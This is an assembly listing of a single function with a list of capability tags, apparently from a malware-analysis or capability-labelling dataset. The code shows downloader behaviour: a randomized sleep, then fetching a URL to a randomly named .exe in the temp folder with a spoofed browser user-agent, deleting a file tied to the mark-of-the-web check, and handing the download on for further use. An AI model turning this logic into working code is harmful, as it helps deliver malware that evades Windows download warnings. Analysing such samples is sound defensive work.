Function at 0x40c6e0
Capabilities:
Bypass mark of the web
Create http request
Delete file
Download and write a file
Download url
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa54
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.msvcrt.dll_srand
add esp, 4
call sub.msvcrt.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
imul edx, edx, 5
add edx, 0x1388
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x411], 0
push 0x104
lea edx, [ebp - 0x830]
push edx
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov eax, dword [ebp + 8]
mov dword [ebp - 0xa48], eax
mov ecx, dword [ebp - 0xa48]
add ecx, 1
mov dword [ebp - 0xa4c], ecx
mov edx, dword [ebp - 0xa48]
mov al, byte [edx]
mov byte [ebp - 0xa4d], al
add dword [ebp - 0xa48], 1
cmp byte [ebp - 0xa4d], 0
jne 0x40c74b
mov ecx, dword [ebp - 0xa48]
sub ecx, dword [ebp - 0xa4c]
mov dword [ebp - 0xa54], ecx
mov edx, dword [ebp - 0xa54]
add edx, 1
push edx
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x410]
push ecx
call sub.ntdll.dll_mbstowcs
add esp, 0xc
call sub.msvcrt.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
call sub.msvcrt.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
lea edx, [ebp - 0x830]
push edx
push str._s_d_d.exe
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_89.0.4389.90_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0xa44], eax
cmp dword [ebp - 0xa44], 0
je 0x40c92c
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x410]
push ecx
mov edx, dword [ebp - 0xa44]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 0
je 0x40c91f
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0xffffffff
je 0x40c912
lea ecx, [ebp - 0xa40]
push ecx
push 0x207
lea edx, [ebp - 0xa38]
push edx
mov eax, dword [ebp - 0x624]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40c8b3
cmp dword [ebp - 0xa40], 0
je 0x40c8b3
push 0
lea ecx, [ebp - 0xa3c]
push ecx
mov edx, dword [ebp - 0xa40]
push edx
lea eax, [ebp - 0xa38]
push eax
mov ecx, dword [ebp - 0x628]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x40c860
mov edx, dword [ebp - 0x628]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x620]
push eax
push 0x40f468
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x620]
push eax
call fcn.0040c630
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x40c912
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x411], 1
mov edx, dword [ebp - 0x628]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x624]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xa44]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
movzx edx, byte [ebp - 0x411]
test edx, edx
jne 0x40c9d8
call sub.msvcrt.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
lea edx, [ebp - 0x830]
push edx
push str._s_d.exe
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0
lea ecx, [ebp - 0x620]
push ecx
lea edx, [ebp - 0x410]
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jne 0x40c9d8
lea eax, [ebp - 0x620]
push eax
push 0x40f4a4
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x620]
push eax
call fcn.0040c630
add esp, 4
mov esp, ebp
pop ebp
ret